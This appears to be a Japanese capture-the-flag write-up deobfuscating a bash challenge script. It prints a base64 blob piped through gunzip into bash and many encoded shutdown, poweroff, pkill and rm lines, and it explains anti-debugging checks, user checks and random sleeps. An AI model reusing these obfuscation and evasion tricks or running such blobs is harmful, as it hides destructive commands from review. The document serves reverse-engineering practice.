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|base64 -d|gunzip|bash;
$'\72' killall sh;
: $($'\u0065\u0063\u0068\u006f' c2h1dGRvd24K | $'\u0062\u0061\u0073\u0065\u0036\u0034' $'\u002d\u0064' );
$(: pkill sh);
$'\u003A' $(ls --help|grep ^G|cut -c13)$(ls --help|grep ^G|cut -c22)$(ls --help|grep ^G|cut -c9)$(ls --help|grep ^G|cut -c10)$(echo -n|md5sum|cut -c1)$(ls --help|grep ^G|cut -c6)$(ls --help|grep ^G|cut -c36)$(ls --help|grep ^G|cut -c16);
$'\u003A' $(echo p2u1qTEiq24X |tr A-Za-z N-ZA-Mn-za-m|base64 -d);
$'\x3A' $($'\u0065\u0063\u0068\u006f' cG93ZXJvZmYK | $'\u0062\u0061\u0073\u0065\u0036\u0034' $'\u002d\u0064' );
$'\u003A' $'\u0070\u006f\u0077\u0065\u0072\u006f\u0066\u0066';
$'\x3A' exit;
: $(echo XLzMiWKM39Tp |rev|tr A-Za-z N-ZA-Mn-za-m|base64 -d);
$'\x3A' $(echo c2h1dGRvd24K |base64 -d);
: $'\x73\x68\x75\x74\x64\x6f\x77\x6e';
: $($'\145\143\150\157' c2h1dGRvd24K | $'\142\141\163\145\66\64' $'\55\144' );
: pkill sh;
$'\x3A' $'\x73\x68\x75\x74\x64\x6f\x77\x6e';
$(: poweroff);
$'\72' $($'\x65\x63\x68\x6f' ZXhpdAo= | $'\x62\x61\x73\x65\x36\x34' -d);
$'\72' poweroff;
$'\u003A' $($'\145\143\150\157' cG93ZXJvZmYK | $'\142\141\163\145\66\64' $'\55\144' );
$'\x3A' killall sh;
$'\x3A' $($'\x65\x63\x68\x6f' c2h1dGRvd24K | $'\x62\x61\x73\x65\x36\x34' -d);
$'\u003A' $(echo =bNqcuKM |rev|tr A-Za-z N-ZA-Mn-za-m|base64 -d);
$'\x3A' $($'\145\143\150\157' c2h1dGRvd24K | $'\142\141\163\145\66\64' $'\55\144' );
: $($'\145\143\150\157' cG93ZXJvZmYK | $'\142\141\163\145\66\64' $'\55\144' );
$'\x3A';
: $'\u0070\u006f\u0077\u0065\u0072\u006f\u0066\u0066';
$'\x3A' $($'\u0065\u0063\u0068\u006f' ZXhpdAo= | $'\u0062\u0061\u0073\u0065\u0036\u0034' $'\u002d\u0064' );
$(: killall sh);
: $(echo p2u1qTEiq24X |tr A-Za-z N-ZA-Mn-za-m|base64 -d);
$'\x3A' $(echo KYmZvJXZ39Gc |rev|base64 -d);
: $(echo =bNqcuKM |rev|tr A-Za-z N-ZA-Mn-za-m|base64 -d);
$'\x3A' $'\u0070\u006f\u0077\u0065\u0072\u006f\u0066\u0066';
$'\72' $(echo XLzMiWKM39Tp |rev|tr A-Za-z N-ZA-Mn-za-m|base64 -d);
: $'\x65\x78\x69\x74';
: $(echo K42dvRGd1h2c |rev|base64 -d);
$'\u003A' $'\u0073\u0068\u0075\u0074\u0064\u006f\u0077\u006e';
: $(ls --help|grep ^G|cut -c13)$(ls --help|grep ^G|cut -c22)$(ls --help|grep ^G|cut -c9)$(ls --help|grep ^G|cut -c10)$(echo -n|md5sum|cut -c1)$(ls --help|grep ^G|cut -c6)$(ls --help|grep ^G|cut -c36)$(ls --help|grep ^G|cut -c16);
$'\72' $($'\x65\x63\x68\x6f' c2h1dGRvd24K | $'\x62\x61\x73\x65\x36\x34' -d);
$'\x3A' $(echo p2u1qTEiq24X |tr A-Za-z N-ZA-Mn-za-m|base64 -d);
$'\u003A' $(ls --help|grep ^G|cut -c32)$(ls --help|grep ^G|cut -c6)$(ls --help|grep ^G|cut -c36)$(ls --help|grep ^G|cut -c8)$(ls --help|grep ^G|cut -c7)$(ls --help|grep ^G|cut -c6)$(ls --help|grep ^G|cut -c50)$(ls --help|grep ^G|cut -c50);
: $($'\145\143\150\157' ZXhpdAo= | $'\142\141\163\145\66\64' $'\55\144' );
: $'\u0065\u0078\u0069\u0074';
: :;
: $(echo =oAdphXZ |rev|base64 -d);
$'\u003A' $'\u0065\u0078\u0069\u0074';
$'\x3A' $($'\u0065\u0063\u0068\u006f' c2h1dGRvd24K | $'\u0062\u0061\u0073\u0065\u0036\u0034' $'\u002d\u0064' );
: ::;
$'\u003A' $($'\x65\x63\x68\x6f' ZXhpdAo= | $'\x62\x61\x73\x65\x36\x34' $'\x2d\x64' );
$'\72' $(echo K42dvRGd1h2c |rev|base64 -d);
$(: rm /tmp);
: $'\u0073\u0068\u0075\u0074\u0064\u006f\u0077\u006e';
:;
$'\u003A' $($'\x65\x63\x68\x6f' cG93ZXJvZmYK | $'\x62\x61\x73\x65\x36\x34' $'\x2d\x64' );
: $(ls --help|grep ^G|cut -c32)$(ls --help|grep ^G|cut -c6)$(ls --help|grep ^G|cut -c36)$(ls --help|grep ^G|cut -c8)$(ls --help|grep ^G|cut -c7)$(ls --help|grep ^G|cut -c6)$(ls --help|grep ^G|cut -c50)$(ls --help|grep ^G|cut -c50);
$'\72' $($'\145\143\150\157' c2h1dGRvd24K | $'\142\141\163\145\66\64' $'\55\144' );
$'\x3A' poweroff;
$'\72' $(echo =oAdphXZ |rev|base64 -d);
$'\72' $($'\u0065\u0063\u0068\u006f' cG93ZXJvZmYK | $'\u0062\u0061\u0073\u0065\u0036\u0034' $'\u002d\u0064' );
: $($'\x65\x63\x68\x6f' ZXhpdAo= | $'\x62\x61\x73\x65\x36\x34' -d);
$'\u003A' $(echo X42qiETq1u2p |rev|tr A-Za-z N-ZA-Mn-za-m|base64 -d);
: $($'\u0065\u0063\u0068\u006f' ZXhpdAo= | $'\u0062\u0061\u0073\u0065\u0036\u0034' $'\u002d\u0064' );
$'\72' exit;
$'\x3A' $(ls --help|grep ^G|cut -c32)$(ls --help|grep ^G|cut -c6)$(ls --help|grep ^G|cut -c36)$(ls --help|grep ^G|cut -c8)$(ls --help|grep ^G|cut -c7)$(ls --help|grep ^G|cut -c6)$(ls --help|grep ^G|cut -c50)$(ls --help|grep ^G|cut -c50);
$'\72' $(ls --help|grep ^G|cut -c8)$(printf "%b" $(printf '%s%x' '\x' $((0x77 ^ 0x2f)))|tr A-Z a-z)$(ls --help|grep ^G|cut -c11)$(ls --help|grep ^G|cut -c10);
: $(echo pT93MKWiMzLX |tr A-Za-z N-ZA-Mn-za-m|base64 -d);

21行目を確認すると、以下のような処理がありデバッグモードを検知して終了するようになっていました。

echo $-|grep x && exit

上記の処理をコメントアウトして、再度実行してみます。

$ bash -x Beeeeeeeeeer_2.sh

# 省略

+ base64 -d
+ echo TGV0J3MgZGVjb3JkaW5nISjiiafiiIDiiaYqKQo=
Let's decording!(≧∀≦*)
+ read
hoge
++ base64 -d
++ echo MjAK
+ trap '' 1 2 3 15 18 19 20
++ base64 -d
++ tr A-Za-z N-ZA-Mn-za-m
++ echo =btB
++ tr A-Za-z N-ZA-Mn-za-m
++ rev
++ base64 -d
++ rev
+ :
++ echo =bNpyW3M
++ base64 -d
++ tr A-Za-z N-ZA-Mn-za-m
++ rev
++ echo XRKY
++ base64 -d
++ rev
++ echo =ogO
+ grep -q :
+ '[' -z '' ']'
+ ID=nandoku
+ grep -e root -e user -e adm -e nobody -e test -e nandoku
+ whoami
+ :
++ seq 7
+ for i in '$('\''seq'\'' $((RANDOM % 10)))'
++ base64 -d
++ echo c2xlZXAK
+ sleep 251

今回は、2つの解析妨害処理が確認できます。 1つ目は、ユーザの確認処理です。23行目から30行目を確認すると、以下の処理が確認できます。

if [ -z "$1" ];
then  ID=$'\x6e\x61\x6e\x64\x6f\x6b\x75';
else  ID="$1";
fi;
if whoami | grep -e root -e user -e adm -e nobody -e test -e "$ID" >/dev/null;
then :;
else exit;
 fi;

rootuseradmnobodytestnandokuコマンドライン引数に指定したユーザ名 以外の場合、exitで終了するようです。 今回は、もともとrootで実行していたので、この処理は、通過できていました。

2つ目は、sleep処理です。 31行目~33行目を確認すると、以下の処理が確認できます。

for i in $($'\x73\x65\x71' $((RANDOM % 10)));
do  $($'\x65\x63\x68\x6f' c2xlZXAK | $'\x62\x61\x73\x65\x36\x34' -d) $((RANDOM % 300));
done;

0~9回ランダムでsleep処理が呼び出され、sleep時間も0~299秒ランダムで決定するようです。 sleepされると面倒くさいので、この処理もコメントアウトしておきます。

$ bash -x Beeeeeeeeeer_2.sh

# 省略

+ base64 -d
+ echo TGV0J3MgZGVjb3JkaW5nISjiiafiiIDiiaYqKQo=
Let's decording!(≧∀≦*)
+ read
hoge
++ base64 -d
++ echo MjAK
+ trap '' 1 2 3 15 18 19 20
++ base64 -d
++ tr A-Za-z N-ZA-Mn-za-m
++ tr A-Za-z N-ZA-Mn-za-m
++ rev
++ echo =btB
++ rev
++ base64 -d
++ echo =bNpyW3M
+ :
++ base64 -d
++ tr A-Za-z N-ZA-Mn-za-m
++ rev
++ echo XRKY
++ base64 -d
++ rev
++ echo =ogO
+ grep -q :
+ '[' -z '' ']'
+ ID=nandoku
+ grep -e root -e user -e adm -e nobody -e test -e nandoku
+ whoami
+ :
+ echo hxB
++ base64 -d
++ rev
++ echo =oAclJ3Z
++ base64 -d
++ rev
++ echo =oAe
+ grep x
hxB
++ base64 -d
++ echo ZXhpdAo=
+ exit

また、先ほどと同様にデバッグモードを検知して、終了しているようです。 34行目の以下の処理をコメントアウトして、再度実行します。

$'\145\143\150\157' $-|$(echo =oAclJ3Z |rev|base64 -d) $(echo =oAe |rev|base64 -d) && $($'\x65\x63\x68\x6f' ZXhpdAo= | $'\x62\x61\x73\x65\x36\x34' $'\x2d\x64' );

実行すると、How many beeps?と表示されました。

$ bash -x Beeeeeeeeeer_2.sh

# 省略

+ base64 -d
+ echo TGV0J3MgZGVjb3JkaW5nISjiiafiiIDiiaYqKQo=
Let's decording!(≧∀≦*)
+ read
hoge
++ base64 -d
++ echo MjAK
+ trap '' 1 2 3 15 18 19 20
++ base64 -d
++ tr A-Za-z N-ZA-Mn-za-m
++ base64 -d
++ rev
++ tr A-Za-z N-ZA-Mn-za-m
++ echo =btB
++ rev
+ :
++ echo =bNpyW3M
++ base64 -d
++ tr A-Za-z N-ZA-Mn-za-m
++ rev
++ echo XRKY
++ base64 -d
++ rev
++ echo =ogO
+ grep -q :
+ '[' -z '' ']'
+ ID=nandoku
+ grep -e root -e user -e adm -e nobody -e test -e nandoku
+ whoami
+ :
++ base64 -d
++ base64 -d
++ rev
++ tr A-Za-z N-ZA-Mn-za-m
++ tr A-Za-z N-ZA-Mn-za-m
++ echo =btB
++ echo M3WypNb=
+ :
++ base64 -d
++ tr A-Za-z N-ZA-Mn-za-m
++ echo YKRX
++ base64 -d
++ tr A-Za-z N-ZA-Mn-za-m
++ echo Btb=
+ grep -q :
++ base64 -d
++ echo aG9nZWZ1Z2EK
+ export S1=hogefuga
+ S1=hogefuga
+ bash
+ gunzip
+ base64 -d
